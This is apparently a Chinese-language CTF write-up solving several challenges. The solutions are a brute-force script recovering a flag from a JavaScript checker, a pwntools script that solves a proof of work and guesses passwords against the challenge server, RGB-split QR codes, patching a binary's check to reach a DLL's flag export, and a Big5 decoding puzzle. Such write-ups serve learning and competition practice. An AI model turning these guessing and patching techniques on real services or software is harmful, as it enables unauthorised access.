eval(`"TSC{\u0001PU[\u0011\u0005\u0005\u0004\u000fRk\u0012UR\\tn^PE\u0004\u0010<\u0003RY\\rX9\u0003\u0004\u0010\u0007=\u001a\\0D<@\u0012n\\f\u0007}"`) function checkFlag(r) { if (50 !== r.length) return !1; if ("TSC{" !== r.substring(0, 4)) return !1; if ("}" !== r.substring(r.length - 1)) return !1; const e = SHA1(r.substring(0, 7)); for (let t = 7; t < r.length - 1; t++) if ((mask.charCodeAt(t - 3) ^ r.charCodeAt(t)) === e.charCodeAt(t % e.length) ^ 1) return !1; if ('8d41c13d201aa912146145ceff9589ed194c97a7' !== SHA1(r)) return !1; return !0 } pads = [] for(let i=0x20; i<0x80; i++) for(let j=0x20; j<0x80; j++) for(let k=0x20; k<0x80; k++) { let pad = "TSC{"+String.fromCodePoint(i)+String.fromCodePoint(j)+String.fromCodePoint(k); pads.push([pad, SHA1(pad)]); } flags = [] pads.forEach(function(pad, i){ let flag = pad[0] let e = pad[1] for (let t = 7; t < 50 - 1; t++) { //console.log(t); for(let r=0; r<128; r++) { //console.log((mask.charCodeAt(t - 3) ^ r)+' '+(pad[1].charCodeAt(t % pad[1].length) ^ 1)); if ((mask.charCodeAt(t - 3) ^ r) === e.charCodeAt(t % e.length) ^ 1) continue; //console.log(t+' '+r); flag+=String.fromCodePoint(r); //break; } } flag+='}' flags.push(flag); }) flags.forEach(function(flag, i){ if ('8d41c13d201aa912146145ceff9589ed194c97a7' === SHA1(flag)) console.log(flag); }); ``` 從`checker.js`修改而來,主要是根據`checkFlag()`判斷flag的流程來嘗試爆開的做法。 `pads`的部分是用來產生所有可能flag的前7個字元以及其SHA1 hash, `flags`的部分是使用`pads`以及`mask`來將flag的剩餘部分補齊, 最後再從`flags`過濾出SHA1 hash符合的flag 分段執行 ![image](https://hackmd.io/_uploads/SyECqbnKp.png) 檢查一下 ![image](https://hackmd.io/_uploads/S1XZsZnKp.png) flag: `TSC{ant1d3bugg1ng_w111_n3v3r_g0nna_g1v3_y0u_up_<3}` ### H.L.P #### `3 Solves` ![image](https://hackmd.io/_uploads/rk8ssWht6.png) 連上去後的樣子(passwords已截斷) ![image](https://hackmd.io/_uploads/SJmEhb3Fa.png) ![image](https://hackmd.io/_uploads/SkA4hbhYT.png) 題目內容是給定10個可能的密碼,我們要連續猜對10次,而每猜錯一次密碼,flag上的隨機一個字元會被破壞。 實際操作幾次 ![image](https://hackmd.io/_uploads/Bk7wT-3Y6.png) 答對時不會有任何訊息,只有計數器上升;答錯時會說第幾個字元被破壞,而且會重設計數器(也有可能是計數器-1,不確定)。 Proof of Work的Solver `PoWSolve.py`: ```python= #!/usr/bin/env python3 import hashlib import sys prefix = sys.argv[1] difficulty = int(sys.argv[2]) zeros = '0' * difficulty def is_valid(digest): if sys.version_info.major == 2: digest = [ord(i) for i in digest] bits = ''.join(bin(i)[2:].zfill(8) for i in digest) return bits[:difficulty] == zeros i = 0 while True: i += 1 s = prefix + str(i) if is_valid(hashlib.sha256(s.encode()).digest()): print(i) exit(0) ``` `exp.py`: ```python= import hashlib import sys import random from pwn import * def solve_POW(prefix, difficulty): difficulty = int(difficulty) zeros = '0' * difficulty def is_valid(digest): if sys.version_info.major == 2: digest = [ord(i) for i in digest] bits = ''.join(bin(i)[2:].zfill(8) for i in digest) return bits[:difficulty] == zeros i = 0 while True: i += 1 s = prefix + str(i) if is_valid(hashlib.sha256(s.encode()).digest()): return i r = remote('172.31.200.2', 62777) r.recvuntil(b'python3 - ') prefix, difficulty = r.recvline()[:-1].decode().split(' ') print(prefix, difficulty) r.sendline(str(solve_POW(prefix, difficulty))) r.recvuntil(' 〖〗s)\n') password = [] for i in range(0, 10): password.append(r.recvline()[:-1].decode()[1:-1]) # print(password) r.recvuntil(b'with you.\n') res = [int(i) for i in r.recv().decode().split(' ')[1][:-1].split('/')] guess = [] destroyed = [] i = 0 current = 0 while(current < 10): # print(current, len(guess), 10) if current < len(guess): # print('runback', guess, current, password[guess[current]]) r.sendline(password[guess[current]].encode()) new_res = r.recv().decode().split('\n') # print(new_res) if len(new_res) == 1: current = int(new_res[0].split(' ')[1][:-1].split('/')[0]) else: guess = [] destroyed.append(int(new_res[0].split(' ')[2][:-2])) current = int(new_res[1].split(' ')[1][:-1].split('/')[0]) i = 0 else: # print(i) r.sendline(password[i].encode()) new_res = r.recv().decode().split('\n') # print(new_res) if len(new_res) == 2: destroyed.append(int(new_res[0].split(' ')[2][:-2])) i+=1 current = int(new_res[1].split(' ')[1][:-1].split('/')[0]) else: guess.append(i) # print(password[i]) i=0 if len(new_res) == 3: print(new_res) current = int(new_res[0].split(' ')[2][:-1].split('/')[0]) else: current = int(new_res[0].split(' ')[1][:-1].split('/')[0]) print(guess) print(len(destroyed)) print(destroyed) r.interactive() ``` 把`PoWSolver.py`的內容變成function後就可以直接解了,解完接收10個密碼後開始猜並記錄正確的密碼。 執行結果 ![image](https://hackmd.io/_uploads/ryx6NfhKT.png) 多執行幾次收集flag的各部分 `flags.txt`: ```= 💥💥💥{A134_14C74_35T_7h3_d13_1💥💥💥💥💥💥_tHE_s3Ed1N9_I5_💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥hIN💥💥💥💥v💥💥💥💥💥34K_iS_f457}GFP[N6💥💥💥💥💥💥💥9-80G-2u💥-q68-6f-p90G-gUR-f8Rq6A4-V0-j89X-2Ur-5a6L-2uVA4-a8iR7-1789X-vF-s902] 💥💥💥💥💥💥💥💥💥💥4C74_35💥💥💥💥💥💥d13_1s_c4💥💥💥💥💥💥💥s3Ed1N9_I5_w34K_7💥💥💥0n1Y_7hIN9_n💥💥💥2_6234K_iS_f457}GFP[N689-69P29-💥0G-2u8-q68-6f-p90G-gUR-f8Rq6A4-V0-j89X-2U💥💥💥💥6L-2uVA4-a8iR7-1789X-vF-s902] TSC{A134_14C74_35T_7h3_d1💥💥💥💥💥c4💥💥_tH💥_s3Ed1N💥💥💥💥💥💥💥💥K_7He💥💥💥💥Y_7hIN9_n3vE2_6234K_iS_f457}GFP[N689-69P29-80G-2u8-q68-6f-p90G-g💥💥💥f8Rq6A4-V0-j89X-2Ur-5a💥💥-2uVA4-a8iR7-1789X💥💥💥💥💥💥💥💥] TSC{A134_14C74_35T💥💥💥💥_d13💥💥💥💥💥💥💥💥💥tHE_s3Ed1N9_I5_w34K_7He_0n1Y_7hI💥9_n3vE2_6234K_iS_f457💥💥FP[💥689-69P29-80G-2u💥💥💥68-6f-p90G-gUR-f8Rq💥💥💥💥V0-j89X-2Ur-5a6L-2uVA4-a8iR7-1789X-vF-s902] TSC{A134_💥4C74_💥💥💥💥💥h3_d13_1s_c45T💥tHE_s3💥💥💥💥💥💥💥💥_w34K_7H💥💥💥n💥Y_7hIN9_n3vE2_6234K_iS_f457}GFP[N689-69P29-80G-2u8-q68-6f-p90G-gUR-💥💥💥💥💥💥💥💥💥💥-j89X-2Ur-5a6L-2uVA4-a8iR7💥💥789X-vF-s902] ``` 解析flag `parse.py`: ```python= flags = open('flags.txt', 'r').read().replace('💥', '\x00').splitlines() transposed = list(zip(*flags)) flag = ''.join([list(filter(lambda x: x!='\x00', t))[0] for t in transposed]) if len(flag) == len(flags[0]): print(flag) else: print('Not enough info') ``` 執行結果 ![image](https://hackmd.io/_uploads/r1pHdzhta.png) 看起來flag有兩份,而另一份是shift過的,可能是為了就算只有執行一次也有機會解出flag吧。 flag: `TSC{A134_14C74_35T_7h3_d13_1s_c45T_tHE_s3Ed1N9_I5_w34K_7He_0n1Y_7hIN9_n3vE2_6234K_iS_f457}` ## Misc ### 🟥 🟩 🟦 #### `44 Solves` ![image](https://hackmd.io/_uploads/rkcWYf2KT.png) 題目只有一張顏色怪異的QRCode ![rgb](https://hackmd.io/_uploads/BkSrYG3K6.png) 按照題目敘述可能是要把3種顏色頻道分別拆出來 用Stegsolve拆出3張QRCode ![rgbr](https://hackmd.io/_uploads/H1xyqGhKp.png) ![rgbg](https://hackmd.io/_uploads/rJY1czhKT.bmp) ![rgbb](https://hackmd.io/_uploads/HJokcG3Y6.bmp) 丟到解碼器分別得到3個字串: 1. `T{5_e3V15r63o_O0_ErNnCV11M45RW7` 2. `SR34_D13_3L_k0_ma_3_D0444a1_3h3` 3. `C05Rr_07A_UY0Np5R934_n1r_j1A_1}` `script.py`: ```python= raw = """T{5_e3V15r63o_O0_ErNnCV11M45RW7 SR34_D13_3L_k0_ma_3_D0444a1_3h3 C05Rr_07A_UY0Np5R934_n1r_j1A_1} """.splitlines() out = [''.join(t) for t in zip(*raw)] print(''.join(out)) ``` 執行結果 ![image](https://hackmd.io/_uploads/rJSSiMhtp.png) flag: `TSC{R0535_4Re_r3D_V101375_Ar3_6LU3_Yok0_0NO_p0m5_aRE_9r33N_4nD_C0nV4114r14_Maj4115_AR3_Wh173}` ### AKA #### `3 Solves` ![image](https://hackmd.io/_uploads/SkWo2M2F6.png) zip內容,是個虛擬磁碟 ![image](https://hackmd.io/_uploads/SJTFAfhKT.png) 掛起來之後的內容 ![image](https://hackmd.io/_uploads/HyqJ1mnFT.png) 把`ghost.dll`餵給阿姨一直報錯,感覺不太能分析,所以就只先看exports ![image](https://hackmd.io/_uploads/rk5HW72t6.png) exports主要有3個function `Roflcopter`, `flag`, `hint`, 題目應該是要我們想辦法進到`flag`裡。 輪到`where_is_the_dll.exe`,一開始就是在`start`,感覺不太能直接從這邊開始 ![image](https://hackmd.io/_uploads/BJ3hz7ntp.png) 就目前情況推測是要load dll執行裡面的function, 看一下`LoadLibraryA`的reference情況 ![image](https://hackmd.io/_uploads/ryCCm7hY6.png) 到了一個神奇的地方,看起來是會load `here.dll`, `flag.dll`, `ghost.dll`這3個dll,然後分別會把位址記錄在`r15`, `rsp+1C8h+hLibModule`, `r14`裡 ![image](https://hackmd.io/_uploads/SyRWN72YT.png) 先直接執行看看,看起來會判定資料夾內的檔案數量。 ![image](https://hackmd.io/_uploads/ryYhmm3Kp.png) 判定的位置應該是這邊 ![image](https://hackmd.io/_uploads/HkK5UQ3Fa.png) 資料夾內檢查到超過兩個檔案時會直接退出 接下來是呼叫function的部分,看起來是會透過有沒有load到library來決定要執行哪些function ![image](https://hackmd.io/_uploads/HkBvFmhta.png) 觀察下來大致分為底下幾種情況: :::info 1. `here.dll` && !`ghost.dll` && `flag.dll` => `flag()` 2. `here.dll` && !`ghost.dll` && !`flag.dll` => `hint()` 3. `here.dll` && `ghost.dll` => `Roflcopter()` 4. !`here.dll` && `ghost.dll` => `Roflcopter()` 5. !`here.dll` && !`ghost.dll` && `flag.dll` => `hint()` 6. !`here.dll` && !`ghost.dll` && !`flag.dll` => `DLL Load Failed.` ::: 整理下來就是當`here.dll`跟`flag.dll`都存在時優先選擇`flag()`,若不成立且`ghost.dll`存在時則優先選擇`Roflcopter()`,而當`here.dll`及`flag.dll`只有一個存在時則選擇`hint()`,而沒有dll存在時則輸出`DLL Load Failed.` 現在目標很明確了,我們需要讓`here.dll`, `flag.dll`以及程式本身同時在同一個資料夾內,但程式會檢查是否有超過2個檔案,需要想辦法繞過。 而沒有慧根的我選擇直接把判定patch掉 ![image](https://hackmd.io/_uploads/Sk6_JNhtp.png) ![image](https://hackmd.io/_uploads/SyY-eNnKa.png) 測試看看 ![image](https://hackmd.io/_uploads/ryNVeNhtT.png) ![image](https://hackmd.io/_uploads/SJ0Sl4nKT.png) flag: `TSC{nTF$_IS_w3ird}` ### Big2.5 ==Solved After CTF Ended ~2hrs after== #### `0 Solve` ![image](https://hackmd.io/_uploads/rkj7bE3FT.png) 從題目的敘述可以知道是跟Big5編碼相關,而且flag本身也是由Big5編碼的字元組成。 題目內容是一個奇怪的檔案`flag2.5.enc`(這邊提供hex values) ``` 9C 12 99 83 52 9E 53 09 23 23 98 55 01 49 08 50 25 25 64 72 4A 05 38 25 33 06 A5 3C A6 18 0E 63 01 41 23 92 A6 39 43 1B 92 53 09 27 7A 92 11 B9 4A 72 9E 30 09 C9 0A C0 25 38 EB 72 46 A1 34 23 53 96 85 28 24 72 54 C4 19 CE 62 92 D2 99 29 62 96 66 19 21 39 9A D7 8C 22 71 04 A0 25 E6 52 C6 15 25 67 18 44 C3 30 AB 72 54 C7 81 22 33 8E A0 B9 22 43 98 13 B9 25 18 04 A4 BC CA 50 48 E5 BD 02 4A 50 81 31 AB 73 1E D3 84 2D 52 94 97 24 49 12 D2 A3 31 2E 72 5E 03 29 4A 72 92 77 A9 8E 41 9A 67 19 C1 29 98 35 29 E5 30 04 05 31 27 52 82 37 25 E6 52 94 E5 24 48 72 C2 37 2D 62 33 54 04 19 47 1A 9C 35 29 4B 6B 04 A4 AC 8E 58 46 E4 8D 86 4B C8 25 25 EC 73 0A A5 29 4E 52 52 C5 24 4E 13 54 C1 20 A0 32 D0 56 99 61 1B 92 32 39 29 5A 92 10 A0 4A 42 D0 A4 2D 06 42 C0 43 20 A8 32 1A 01 21 65 52 14 C7 21 4D 52 0A 01 21 4C 12 00 50 09 0B 40 90 A6 29 0A 68 90 B7 99 0B 32 90 B4 29 0A 62 04 85 AC 48 28 04 85 30 48 5B 54 82 80 48 5A 4C 85 31 C8 5A 0C E4 14 02 42 CC E4 2C E6 42 D8 A4 29 82 42 9A 64 29 8E 40 16 C7 21 4C 52 16 E7 20 A0 32 0A 01 21 4B 72 16 F5 21 4C 50 10 A6 19 05 00 90 A6 39 0B 38 90 B2 29 05 00 90 B6 B9 0B 40 44 85 31 48 5A 04 82 80 48 53 1C 85 38 48 53 1C 85 30 48 40 DA A4 14 06 41 40 24 2D CA 42 98 A4 2D 6A 42 CC A4 29 8A 02 16 43 21 68 52 14 C1 21 67 12 16 B7 20 A0 12 16 67 21 A0 02 90 50 09 0A 60 90 B3 89 0B 21 90 B3 99 0B 6A 90 B4 89 08 13 14 85 B5 48 53 04 85 31 48 5B 54 85 BC 48 28 04 85 91 48 02 98 A4 2C 86 42 CE 64 2D 62 42 98 24 2D AA 42 9C 24 14 60 72 0A 01 21 4C 12 0C 95 21 66 52 16 D1 20 A0 12 16 E3 21 41 43 90 A6 09 0A 6A 90 50 09 0A 69 90 A6 29 0A 60 90 B6 A9 00 53 84 82 80 48 53 1C 82 80 48 59 0C 85 95 48 53 1C 85 B9 02 42 9A 24 29 8A 42 D0 A4 14 06 41 40 24 29 A2 42 C8 64 2C 08 12 14 C5 21 4C 72 16 D3 21 4C 12 16 71 21 65 32 0A 01 20 0A 63 90 A6 89 05 00 90 A6 09 0B 28 90 50 09 0B 42 90 B6 00 48 5B 94 85 31 C8 53 44 85 95 48 53 04 85 9C 48 53 84 82 80 4E 41 44 E4 15 0A 41 56 64 29 8E 42 CE 24 14 02 42 98 A4 01 6D 52 16 A7 21 6D 72 16 45 21 4C 12 16 71 21 4E 12 0A 01 01 0A 68 90 B6 B9 0B 6A 90 A7 09 05 00 90 A6 39 0A 6A 90 50 00 48 53 54 85 2D C8 59 D4 82 80 48 53 44 85 B8 48 53 14 84 09 8A 42 D6 24 15 68 ``` 以及一張圖片 ![Big2.5](https://hackmd.io/_uploads/BkAxGVnKa.png) 把圖片用編輯軟體打開了仔細看可以發現每隔幾個有色像素就會有一個空白像素,而空白像素兩邊的像素似乎是可以直接接在一起 手搓了一下 ![Big5](https://hackmd.io/_uploads/ryYFU4nFp.png) 規則是以每4個像素為一組,在其中間插入空白像素;反之,要推回原本的樣子就是以每5個像素為一組,移除中間的空白像素再把兩邊接起來。 試著拿這個規則去處理`flag2.5.enc`: ```python= def chunk(lst, n): for i in range(0, len(lst), n): yield lst[i:i + n] buf = open('flag2.5.enc', 'rb').read() print('enc length =', len(buf)) # 714 bits = ''.join([f'{b:08b}' for b in buf]) print('bits length =', len(bits)) # 5712 print('last 10 bits =', bits[-10:]) # 0101101000 # ignore last 2 bits as they are 0s fixed = ''.join([b[:2] + b[-2:] for b in chunk(bits[:-2], 5)]) print('fixed length =', len(fixed)) # 4568 open('fixed.txt', 'wb').write(bytes.fromhex(''.join([f'{int(b, 2):02x}' for b in chunk(fixed, 8)]))) ``` 輸出結果 `fixed.txt`: ![image](https://hackmd.io/_uploads/Hk24qE2Yp.png) 看起來還是有點小狀況,有些地方會出現連續亂碼,而有些地方則是清楚的字元。 看看開頭一部分的hex,第一次出現亂碼時大約是在第6個字元的地方,也就是反白的區塊 ![image](https://hackmd.io/_uploads/BJozn4hKp.png) 把附近的hex(如`A4 46`)丟到Big5解碼器可以發現後面的碼都是正常的但前面被`2`offset掉導致亂碼 ![image](https://hackmd.io/_uploads/Bk6WT4hta.png) 再觀察前面的字,`太庾`感覺不是常用的組合,應該要是其他字 為了要解決offset問題也觀察看看除了`庾`之外還有什麼字比較適合,我把猜測可能的hex組合都丟到解碼器,分別是去除`2`, 去除`8`, `2`和`8`組合成`A`。 ![image](https://hackmd.io/_uploads/HyC-C4hKp.png) 這邊看起來組合成`A`的`強`字比較符合前後文,而下面一行的同樣位置似乎也有類似的狀況 `A6 B3`解碼為`有`,如果把在跟上一行同樣offset的`8 2`組合在一起的話可以得到`A8 53`解碼為`沒`,感覺也挺符合前後文;所以我推測這邊的規則是每16 bytes為一組,其中第9個byte的後半和第10個byte的前半組合(8bits -> 4bits)。 試試看這個規則 ```python= fixed_chunk = [c[:(8*9+4)] + f'{(int(c[(8*9+4):(8*9+4+4)], 2)+int(c[(8*9+4+4):(8*9+4+8)], 2)):04b}' + c[(8*9+4+8):] for c in list(chunk(fixed, 8*16))] fixed_chunk_bits = ''.join([''.join([''.join(b) for b in a]) for a in fixed_chunk]) print('fixed_chunk length =', len(fixed_chunk_bits)) open('fixed_chunk.txt', 'wb').write(bytes.fromhex(''.join([f'{int(b, 2):02x}' for b in chunk(fixed_chunk_bits, 8)]))) ``` 輸出 `fixed_chunk.txt`: ![image](https://hackmd.io/_uploads/SJ3aGH2YT.png) 又有更多進展了,但在某些地方又會開始出現亂碼,或許這個規則只能符合前面幾個組合? 回到`fixed.txt`,用`助字面`(`A7 55 A6 72 AD B1`)來找可能的出錯點 ![image](https://hackmd.io/_uploads/B1YKSrhFp.png) 和`fixed_chunk.txt`比較一下 ![image](https://hackmd.io/_uploads/SyxnBH3Ka.png) `fixed.txt`中`助`的前一個字`輔`在`fixed_chunk.txt`被意外改動到了,從`BB B2`變成`CB B2`,應該是和前面的`1`組合了 經過一點測試,若把`BB B2`前的`21`組合成`3`可以和前面的hex組合出`A6 B3`(`有`),而下一行同樣offset又出現熟悉的`82` 這邊推測組合的offset每在經過數行時會有提前的情況發生 既然這樣那就是要推算剩下行數的offset了 經過一番折騰找到的offset順序: ```python offsets = [ 8*9+4, 8*9+4, 8*9+4, 8*9, 8*9, 8*9, 8*9, 8*9, 8*8+4, 8*8+4, 8*8+4, 8*8, 8*8, 8*8, 8*8, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7, 8*7, 8*7, 8*6+4, 8*6+4, 8*6+4, 8*6, 8*6, 8*6, 8*6, 8*6, 8*6, 8*5+4, 8*5+4, 8*5+4, 8*5+4 ] ``` 修改一下先前的code ```python= offsets = [ 8*9+4, 8*9+4, 8*9+4, 8*9, 8*9, 8*9, 8*9, 8*9, 8*8+4, 8*8+4, 8*8+4, 8*8, 8*8, 8*8, 8*8, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7, 8*7, 8*7, 8*6+4, 8*6+4, 8*6+4, 8*6, 8*6, 8*6, 8*6, 8*6, 8*6, 8*5+4, 8*5+4, 8*5+4, 8*5+4 ] fixed_chunk = [c[:(offsets[i])] + f'{(int(c[offsets[i]:offsets[i]+4], 2)+int(c[offsets[i]+4:offsets[i]+8], 2)):04b}' + c[offsets[i]+8:] for i, c in enumerate(list(chunk(fixed, 8*16)))] #+ f'{0xA:04b}' fixed_chunk_bits = ''.join([''.join([''.join(b) for b in a]) for a in fixed_chunk]) print('fixed_chunk length =', len(fixed_chunk_bits)) open('fixed_chunk.txt', 'wb').write(bytes.fromhex(''.join([f'{int(b, 2):02x}' for b in chunk(fixed_chunk_bits, 8)]))) ``` 輸出 `fixed_chunk`: ![image](https://hackmd.io/_uploads/SywhOS3FT.png) 這次直接成功了 整理一下完整的 `exp.py`: ```python= def chunk(lst, n): for i in range(0, len(lst), n): yield lst[i:i + n] buf = open('flag2.5.enc', 'rb').read() print('enc length =', len(buf)) # 714 bits = ''.join([f'{b:08b}' for b in buf]) print('bits length =', len(bits)) # 5712 print('last 10 bits =', bits[-10:]) # 0101101000 # ignore last 2 bits as they are 0s fixed = ''.join([b[:2] + b[-2:] for b in chunk(bits[:-2], 5)]) print('fixed length =', len(fixed)) # 4568 open('fixed.txt', 'wb').write(bytes.fromhex(''.join([f'{int(b, 2):02x}' for b in chunk(fixed, 8)]))) offsets = [ 8*9+4, 8*9+4, 8*9+4, 8*9, 8*9, 8*9, 8*9, 8*9, 8*8+4, 8*8+4, 8*8+4, 8*8, 8*8, 8*8, 8*8, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7+4, 8*7, 8*7, 8*7, 8*6+4, 8*6+4, 8*6+4, 8*6, 8*6, 8*6, 8*6, 8*6, 8*6, 8*5+4, 8*5+4, 8*5+4, 8*5+4 ] fixed_chunk = [c[:(offsets[i])] + f'{(int(c[offsets[i]:offsets[i]+4], 2)+int(c[offsets[i]+4:offsets[i]+8], 2)):04b}' + c[offsets[i]+8:] for i, c in enumerate(list(chunk(fixed, 8*16)))] #+ f'{0xA:04b}' fixed_chunk_bits = ''.join([''.join([''.join(b) for b in a]) for a in fixed_chunk]) print('fixed_chunk length =', len(fixed_chunk_bits)) open('flag5.txt', 'wb').write(bytes.fromhex(''.join([f'{int(b, 2):02x}' for b in chunk(fixed_chunk_bits, 8)]))) ``` flag: `TSC{wH47 1 R35uLT3d 1n W4s MOj164k3s, 0v32 4ND oV3R 4941n, r3fL3CT1Ng My 1NCOnV3n13nt D3COd1n9﹒ 1’Ll qU17 631n9 4 CH4r53T, 5CR34m1NG 45 1F Thr45H1N9……}` :::info 其實最一開始我是看著哪邊有亂碼修哪邊慢慢手搓出flag,解完之後再回去仔細看才發現規律,然後才有`exp.py`的存在。 比較可惜的是沒有在時限前搓出來QQ :::